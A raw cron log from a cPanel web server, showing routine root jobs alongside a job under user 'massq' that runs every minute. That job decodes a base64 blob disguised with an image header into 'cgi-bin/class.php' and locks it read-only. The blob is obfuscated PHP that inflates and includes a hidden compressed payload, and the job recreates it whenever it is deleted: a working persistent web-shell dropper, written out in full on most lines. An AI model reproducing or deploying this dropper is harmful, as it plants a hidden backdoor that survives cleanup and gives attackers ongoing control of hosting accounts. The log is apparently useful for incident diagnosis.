Nov 12 05:09:01 server CROND[29573]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:10:01 server CROND[30412]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 05:10:01 server CROND[30413]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 05:10:01 server CROND[30414]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:10:01 server CROND[30417]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 05:11:01 server CROND[31223]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:12:01 server CROND[32265]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:12:01 server CROND[32266]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 05:13:01 server CROND[672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:14:01 server CROND[1433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:15:01 server CROND[2316]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 05:15:01 server CROND[2318]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:15:01 server CROND[2319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 05:16:01 server CROND[3240]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:17:01 server CROND[3945]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:18:01 server CROND[4895]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:19:01 server CROND[5778]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:20:01 server CROND[6680]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 05:20:01 server CROND[6679]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 05:20:01 server CROND[6686]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:20:01 server CROND[6685]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 05:20:01 server CROND[6696]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 05:21:01 server CROND[7631]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
